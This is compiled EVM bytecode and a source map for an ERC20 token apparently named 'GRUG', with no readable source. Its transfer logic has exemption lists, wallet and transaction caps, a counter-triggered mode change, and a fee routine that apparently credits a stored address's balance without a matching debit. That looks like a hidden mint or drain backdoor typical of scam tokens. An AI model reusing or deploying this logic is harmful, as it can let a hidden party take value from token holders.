fd5b610e0783610d4e565b9150610e1560208401610d4e565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610e4e57610e4e610e1e565b500290565b60008219821115610e6657610e66610e1e565b500190565b600060ff821660ff8103610e8157610e81610e1e565b60010192915050565b600082610ea757634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610ebe57610ebe610e1e565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202edaf976557224a7b9160a1023659d10487cffcb8c9dde9ff21b29583b74d10064736f6c634300080d0033

0x60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610119578063a457c2d714610319578063a9059cbb14610339578063dd62ed3e14610359578063e7709afe1461039f57600080fd5b806370a082311461028e578063715018a6146102c4578063837d7e3e146102db5780638da5cb5b146102fb57600080fd5b806323b872dd116100dc57806323b872dd146101dc578063313ce567146101fc578063395093511461021e57806349bd5a5e1461023e5780634db4efc11461025e57600080fd5b806306fdde0314610119578063095ea7b3146101555780631694505e1461018557806318160ddd146101bd57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201825260048152634752554760e01b6020820152905161014c9190610cf9565b60405180910390f35b34801561016157600080fd5b50610175610170366004610d6a565b6103cf565b604051901515815260200161014c565b34801561019157600080fd5b506009546101a5906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b3480156101c957600080fd5b506008545b60405190815260200161014c565b3480156101e857600080fd5b506101756101f7366004610d94565b6103e5565b34801561020857600080fd5b5060095b60405160ff909116815260200161014c565b34801561022a57600080fd5b50610175610239366004610d6a565b61044e565b34801561024a57600080fd5b50600a546101a5906001600160a01b031681565b34801561026a57600080fd5b5061020c610279366004610dd0565b60056020526000908152604090205460ff1681565b34801561029a57600080fd5b506101ce6102a9366004610dd0565b6001600160a01b031660009081526001602052604090205490565b3480156102d057600080fd5b506102d9610484565b005b3480156102e757600080fd5b506006546101a5906001600160a01b031681565b34801561030757600080fd5b506000546001600160a01b03166101a5565b34801561032557600080fd5b50610175610334366004610d6a565b61052d565b34801561034557600080fd5b50610175610354366004610d6a565b61057c565b34801561036557600080fd5b506101ce610374366004610deb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103ab57600080fd5b506101756103ba366004610dd0565b60036020526000908152604090205460ff1681565b60006103dc33848461059c565b50600192915050565b60006103f284848461065d565b610444843361043f85604051806060016040528060288152602001610ec4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c02565b61059c565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103dc91859061043f9086610c2e565b6000546001600160a01b031633146104e35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103dc338461043f85604051806060016040528060258152602001610eec602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c02565b60006103dc33848461065d565b60006105958284610e34565b9392505050565b6001600160a01b038316158015906105bc57506001600160a01b03821615155b6105fc5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016104da565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116106ad5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e207472616e7366657220616d6f756e742069732077726f6e67210060448201526064016104da565b6001600160a01b038316158015906106cd57506001600160a01b03821615155b6107075760405162461bcd60e51b815260206004820152600b60248201526a416464726573732830292160a81b60448201526064016104da565b600080546001600160a01b0385811691161480159061073457506000546001600160a01b03848116911614155b801561074e5750600a546001600160a01b03848116911614155b801561077357506001600160a01b03841660009081526003602052604090205460ff16155b801561079857506001600160a01b03831660009081526003602052604090205460ff16155b1561081f576001600160a01b0383166000908152600160205260409020546008546107d1906064906107cb906005610589565b90610c3a565b6107db8483610e53565b111561081d5760405162461bcd60e51b81526020600482015260116024820152704d61782057616c6c6574204c696d69742160781b60448201526064016104da565b505b6001600160a01b03841660009081526003602052604090205460ff16801561085f57506001600160a01b03831660009081526003602052604090205460ff165b801561087f575030600090815260056020526040902054600160ff909116105b156108c357306000908152600560205260408120805460ff16916108a283610e6b565b91906101000a81548160ff021916908360ff160217905550508190506108e2565b30600090815260056020526040902054600160ff909116106108e25750805b6000546001600160a01b0385811691161480159061090e57506000546001600160a01b03848116911614155b801561093357506001600160a01b03841660009081526003602052604090205460ff16155b801561095857506001600160a01b03831660009081526003602052604090205460ff16155b156109b75761097860646107cb600560085461058990919063ffffffff16565b8211156109b75760405162461bcd60e51b815260206004820152600d60248201526c4d6178205478204c696d69742160981b60448201526064016104da565b6001600160a01b03841660009081526003602052604090205460ff16806109f657506001600160a01b03831660009081526003602052604090205460ff165b15610a6b576001600160a01b038416600090815260016020526040902054610a1e9083610c46565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610a4d9083610c2e565b6001600160a01b038416600090815260016020526040902055610baf565b8015610b2b576000610a8260016107cb8482610589565b6001600160a01b038616600090815260016020526040902054909150610aa89084610c46565b6001600160a01b03808716600081815260016020526040902092909255600a54610b039291169003610ada5783610ae4565b610ae48483610c46565b6001600160a01b03861660009081526001602052604090205490610c2e565b6001600160a01b038516600090815260016020526040902055610b2581610c52565b50610baf565b6001600160a01b038416600090815260016020526040812054610b4e9084610c46565b6001600160a01b038616600090815260016020526040812091909155610b7c906064906107cb908690610589565b9050610b8781610c52565b610b94610ae48483610c46565b6001600160a01b038516600090815260016020526040902055505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bf491815260200190565b60405180910390a350505050565b60008184841115610c265760405162461bcd60e51b81526004016104da9190610cf9565b505050900390565b60006105958284610e53565b60006105958284610e8a565b60006105958284610eac565b8015610cf65730600090815260056020526040902054600160ff90911610610cd15730600090815260046020526040902054610cb390610c929083610c46565b6006546001600160a01b031660009081526001602052604090205490610c2e565b6006546001600160a01b031660009081526001602052604090205550565b6006546001600160a01b0316600090815260016020526040902054610cb39082610c2e565b50565b600060208083528351808285015260005b81811015610d2657858101830151858201604001528201610d0a565b81811115610d38576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d6557600080fd5b919050565b60008060408385031215610d7d57600080fd5b610d8683610d4e565b946020939093013593505050565b600080600060608486031215610da957600080fd5b610db284610d4e565b9250610dc060208501610d4e565b9150604084013590509250925092565b600060208284031215610de257600080fd5b61059582610d4e565b60008060408385031215610dfe57600080fd5b610e0783610d4e565b9150610e1560208401610d4e565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610e4e57610e4e610e1e565b500290565b60008219821115610e6657610e66610e1e565b500190565b600060ff821660ff8103610e8157610e81610e1e565b60010192915050565b600082610ea757634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610ebe57610ebe610e1e565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202edaf976557224a7b9160a1023659d10487cffcb8c9dde9ff21b29583b74d10064736f6c634300080d0033

13331:6737:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15674:83;;;;;;;;;;-1:-1:-1;15744:5:0;;;;;;;;;;;-1:-1:-1;;;15744:5:0;;;;15674:83;;;;15744:5;15674:83;:::i;:::-;;;;;;;;16521:161;;;;;;;;;;-1:-1:-1;16521:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;16521:161:0;1053:187:1;14636:41:0;;;;;;;;;;-1:-1:-1;14636:41:0;;;;-1:-1:-1;;;;;14636:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;14636:41:0;1245:230:1;15951:95:0;;;;;;;;;;-1:-1:-1;16031:7:0;;15951:95;;;1626:25:1;;;1614:2;1599:18;15951:95:0;1480:177:1;16690:313:0;;;;;;;;;;-1:-1:-1;16690:313:0;;;;;:::i;:::-;;:::i;15860:83::-;;;;;;;;;;-1:-1:-1;14418:1:0;15860:83;;;2167:4:1;2155:17;;;2137:36;;2125:2;2110:18;15860:83:0;1995:184:1;17011:218:0;;;;;;;;;;-1:-1:-1;17011:218:0;;;;;:::i;:::-;;:::i;14684:28::-;;;;;;;;;;-1:-1:-1;14684:28:0;;;;-1:-1:-1;;;;;14684:28:0;;;14187:42;;;;;;;;;;-1:-1:-1;14187:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16054:121;;;;;;;;;;-1:-1:-1;16054:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;16147:20:0;16120:7;16147:20;;;:11;:20;;;;;;;16054:121;13783:147;;;;;;;;;;;;;:::i;:::-;;14242:94;;;;;;;;;;-1:-1:-1;14242:94:0;;;;-1:-1:-1;;;;;14242:94:0;;;13560:87;;;;;;;;;;-1:-1:-1;13606:7:0;13633:6;-1:-1:-1;;;;;13633:6:0;13560:87;;17533:269;;;;;;;;;;-1:-1:-1;17533:269:0;;;;;:::i;:::-;;:::i;16183:167::-;;;;;;;;;;-1:-1:-1;16183:167:0;;;;;:::i;:::-;;:::i;16358:155::-;;;;;;;;;;-1:-1:-1;16358:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;16472:21:0;;;16445:7;16472:21;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;16358:155;14069:50;;;;;;;;;;-1:-1:-1;14069:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16521:161;16596:4;16613:39;2044:10;16636:7;16645:6;16613:8;:39::i;:::-;-1:-1:-1;16670:4:0;16521:161;;;;:::o;16690:313::-;16788:4;16805:36;16815:6;16823:9;16834:6;16805:9;:36::i;:::-;16852:121;16861:6;2044:10;16883:89;16921:6;16883:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16883:19:0;;;;;;:11;:19;;;;;;;;2044:10;16883:33;;;;;;;;;;:37;:89::i;:::-;16852:8;:121::i;:::-;-1:-1:-1;16991:4:0;16690:313;;;;;:::o;17011:218::-;2044:10;17099:4;17148:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17148:34:0;;;;;;;;;;17099:4;;17116:83;;17139:7;;17148:50;;17187:10;17148:38;:50::i;13783:147::-;13606:7;13633:6;-1:-1:-1;;;;;13633:6:0;2044:10;13695:23;13687:68;;;;-1:-1:-1;;;13687:68:0;;3274:2:1;13687:68:0;;;3256:21:1;;;3293:18;;;3286:30;3352:34;3332:18;;;3325:62;3404:18;;13687:68:0;;;;;;;;;13889:1:::1;13873:6:::0;;13852:40:::1;::::0;-1:-1:-1;;;;;13873:6:0;;::::1;::::0;13852:40:::1;::::0;13889:1;;13852:40:::1;13920:1;13903:19:::0;;-1:-1:-1;;;;;;13903:19:0::1;::::0;;13783:147::o;17533:269::-;17626:4;17643:129;2044:10;17666:7;17675:96;17714:15;17675:96;;;;;;;;;;;;;;;;;2044:10;17675:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17675:34:0;;;;;;;;;;;;:38;:96::i;16183:167::-;16261:4;16278:42;2044:10;16302:9;16313:6;16278:9;:42::i;1279:98::-;1337:7;1364:5;1368:1;1364;:5;:::i;:::-;1357:12;1279:98;-1:-1:-1;;;1279:98:0:o;17237:288::-;-1:-1:-1;;;;;17336:22:0;;;;;;:50;;-1:-1:-1;;;;;;17362:24:0;;;;17336:50;17328:80;;;;-1:-1:-1;;;17328:80:0;;3940:2:1;17328:80:0;;;3922:21:1;3979:2;3959:18;;;3952:30;-1:-1:-1;;;3998:18:1;;;3991:47;4055:18;;17328:80:0;3738:341:1;17328:80:0;-1:-1:-1;;;;;17419:21:0;;;;;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;:42;;;17477:38;;1626:25:1;;;17477:38:0;;1599:18:1;17477:38:0;;;;;;;17237:288;;;:::o;18173:1855::-;18304:1;18295:6;:10;18287:54;;;;-1:-1:-1;;;18287:54:0;;4286:2:1;18287:54:0;;;4268:21:1;4325:2;4305:18;;;4298:30;4364:33;4344:18;;;4337:61;4415:18;;18287:54:0;4084:355:1;18287:54:0;-1:-1:-1;;;;;18360:18:0;;;;;;:38;;-1:-1:-1;;;;;;18382:16:0;;;;18360:38;18352:62;;;;-1:-1:-1;;;18352:62:0;;4646:2:1;18352:62:0;;;4628:21:1;4685:2;4665:18;;;4658:30;-1:-1:-1;;;4704:18:1;;;4697:41;4755:18;;18352:62:0;4444:335:1;18352:62:0;18425:22;13633:6;;-1:-1:-1;;;;;18463:15:0;;;13633:6;;18463:15;;;;:32;;-1:-1:-1;13606:7:0;13633:6;-1:-1:-1;;;;;18482:13:0;;;13633:6;;18482:13;;18463:32;:55;;;;-1:-1:-1;18505:13:0;;-1:-1:-1;;;;;18499:19:0;;;18505:13;;18499:19;;18463:55;:83;;;;-1:-1:-1;;;;;;18523:23:0;;;;;;:17;:23;;;;;;;;18522:24;18463:83;:109;;;;-1:-1:-1;;;;;;18551:21:0;;;;;;:17;:21;;;;;;;;18550:22;18463:109;18460:268;;;-1:-1:-1;;;;;16147:20:0;;18588:19;16147:20;;;:11;:20;;;;;;18672:7;;:23;;18691:3;;18672:14;;18684:1;18672:11;:14::i;:::-;:18;;:23::i;:::-;18647:20;18661:6;18647:11;:20;:::i;:::-;18646:49;;18638:78;;;;-1:-1:-1;;;18638:78:0;;5119:2:1;18638:78:0;;;5101:21:1;5158:2;5138:18;;;5131:30;-1:-1:-1;;;5177:18:1;;;5170:47;5234:18;;18638:78:0;4917:341:1;18638:78:0;18573:155;18460:268;-1:-1:-1;;;;;18751:23:0;;;;;;:17;:23;;;;;;;;:48;;;;-1:-1:-1;;;;;;18778:21:0;;;;;;:17;:21;;;;;;;;18751:48;:79;;;;-1:-1:-1;18820:4:0;18803:23;;;;:8;:23;;;;;;18829:1;18803:23;;;;:27;18751:79;18748:208;;;18851:4;18834:23;;;;:8;:23;;;;;:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;18875:6;18860:21;;18748:208;;;18918:4;18901:23;;;;:8;:23;;;;;;18928:1;18901:23;;;;:28;18898:58;;-1:-1:-1;18947:6:0;18898:58;13606:7;13633:6;-1:-1:-1;;;;;18972:15:0;;;13633:6;;18972:15;;;;:32;;-1:-1:-1;13606:7:0;13633:6;-1:-1:-1;;;;;18991:13:0;;;13633:6;;18991:13;;18972:32;:60;;;;-1:-1:-1;;;;;;19009:23:0;;;;;;:17;:23;;;;;;;;19008:24;18972:60;:86;;;;-1:-1:-1;;;;;;19037:21:0;;;;;;:17;:21;;;;;;;;19036:22;18972:86;18968:177;;;19092:23;19111:3;19092:14;19104:1;19092:7;;:11;;:14;;;;:::i;:23::-;19082:6;:33;;19074:59;;;;-1:-1:-1;;;19074:59:0;;5645:2:1;19074:59:0;;;5627:21:1;5684:2;5664:18;;;5657:30;-1:-1:-1;;;5703:18:1;;;5696:43;5756:18;;19074:59:0;5443:337:1;19074:59:0;-1:-1:-1;;;;;19168:23:0;;;;;;:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;19195:21:0;;;;;;:17;:21;;;;;;;;19168:48;19165:814;;;-1:-1:-1;;;;;19252:17:0;;;;;;:11;:17;;;;;;:29;;19274:6;19252:21;:29::i;:::-;-1:-1:-1;;;;;19232:17:0;;;;;;;:11;:17;;;;;;:49;;;;19314:15;;;;;;;:27;;19334:6;19314:19;:27::i;:::-;-1:-1:-1;;;;;19296:15:0;;;;;;:11;:15;;;;;:45;19165:814;;;19371:16;;19368:611;;19403:17;19423:28;19449:1;19423:21;:14;19449:1;19423:18;:21::i;:28::-;-1:-1:-1;;;;;19486:17:0;;;;;;:11;:17;;;;;;19403:48;;-1:-1:-1;19486:29:0;;19508:6;19486:21;:29::i;:::-;-1:-1:-1;;;;;19466:17:0;;;;;;;:11;:17;;;;;:49;;;;19576:13;;19548:75;;19576:13;;19568:21;;:54;;19616:6;19568:54;;;19592:21;:6;19603:9;19592:10;:21::i;:::-;-1:-1:-1;;;;;19548:15:0;;;;;;:11;:15;;;;;;;:19;:75::i;:::-;-1:-1:-1;;;;;19530:15:0;;;;;;:11;:15;;;;;:93;19638:32;19660:9;19638:21;:32::i;:::-;19388:294;19368:611;;;-1:-1:-1;;;;;19767:17:0;;19711;19767;;;:11;:17;;;;;;:29;;19789:6;19767:21;:29::i;:::-;-1:-1:-1;;;;;19747:17:0;;;;;;:11;:17;;;;;:49;;;;19823:22;;19841:3;;19823:13;;:6;;:10;:13::i;:22::-;19811:34;;19860:32;19882:9;19860:21;:32::i;:::-;19925:42;19945:21;:6;19956:9;19945:10;:21::i;19925:42::-;-1:-1:-1;;;;;19907:15:0;;;;;;:11;:15;;;;;:60;-1:-1:-1;19368:611:0;20009:2;-1:-1:-1;;;;;19994:26:0;20003:4;-1:-1:-1;;;;;19994:26:0;;20013:6;19994:26;;;;1626:25:1;;1614:2;1599:18;;1480:177;19994:26:0;;;;;;;;18276:1752;18173:1855;;;:::o;1495:206::-;1581:7;1642:12;1634:6;;;;1626:29;;;;-1:-1:-1;;;1626:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1677:5:0;;;1495:206::o;1067:98::-;1125:7;1152:5;1156:1;1152;:5;:::i;1389:98::-;1447:7;1474:5;1478:1;1474;:5;:::i;1173:98::-;1231:7;1258:5;1262:1;1258;:5;:::i;17810:355::-;17879:8;;17876:282;;17923:4;17906:23;;;;:8;:23;;;;;;17933:1;17906:23;;;;:28;17903:244;;18030:4;18004:32;;;;:17;:32;;;;;;17969:80;;18004:44;;18041:6;18004:36;:44::i;:::-;17981:17;;-1:-1:-1;;;;;17981:17:0;17969:30;;;;:11;:30;;;;;;;:34;:80::i;:::-;17948:17;;-1:-1:-1;;;;;17948:17:0;17936:30;;;;:11;:30;;;;;:113;17810:355;:::o;17903:244::-;18115:17;;-1:-1:-1;;;;;18115:17:0;18103:30;;;;:11;:30;;;;;;:42;;18138:6;18103:34;:42::i;17903:244::-;17810:355;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:328::-;1739:6;1747;1755;1808:2;1796:9;1787:7;1783:23;1779:32;1776:52;;;1824:1;1821;1814:12;1776:52;1847:29;1866:9;1847:29;:::i;:::-;1837:39;;1895:38;1929:2;1918:9;1914:18;1895:38;:::i;:::-;1885:48;;1980:2;1969:9;1965:18;1952:32;1942:42;;1662:328;;;;;:::o;2392:186::-;2451:6;2504:2;2492:9;2483:7;2479:23;2475:32;2472:52;;;2520:1;2517;2510:12;2472:52;2543:29;2562:9;2543:29;:::i;2807:260::-;2875:6;2883;2936:2;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2975:29;2994:9;2975:29;:::i;:::-;2965:39;;3023:38;3057:2;3046:9;3042:18;3023:38;:::i;:::-;3013:48;;2807:260;;;;;:::o;3433:127::-;3494:10;3489:3;3485:20;3482:1;3475:31;3525:4;3522:1;3515:15;3549:4;3546:1;3539:15;3565:168;3605:7;3671:1;3667;3663:6;3659:14;3656:1;3653:21;3648:1;3641:9;3634:17;3630:45;3627:71;;;3678:18;;:::i;:::-;-1:-1:-1;3718:9:1;;3565:168::o;4784:128::-;4824:3;4855:1;4851:6;4848:1;4845:13;4842:39;;;4861:18;;:::i;:::-;-1:-1:-1;4897:9:1;;4784:128::o;5263:175::-;5300:3;5344:4;5337:5;5333:16;5373:4;5364:7;5361:17;5358:43;;5381:18;;:::i;:::-;5430:1;5417:15;;5263:175;-1:-1:-1;;5263:175:1:o;5785:217::-;5825:1;5851;5841:132;;5895:10;5890:3;5886:20;5883:1;5876:31;5930:4;5927:1;5920:15;5958:4;5955:1;5948:15;5841:132;-1:-1:-1;5987:9:1;;5785:217::o;6007:125::-;6047:4;6075:1;6072;6069:8;6066:34;;;6080:18;;:::i;:::-;-1:-1:-1;6117:9:1;;6007:125::o

ipfs://2edaf976557224a7b9160a1023659d10487cffcb8c9dde9ff21b29583b74d100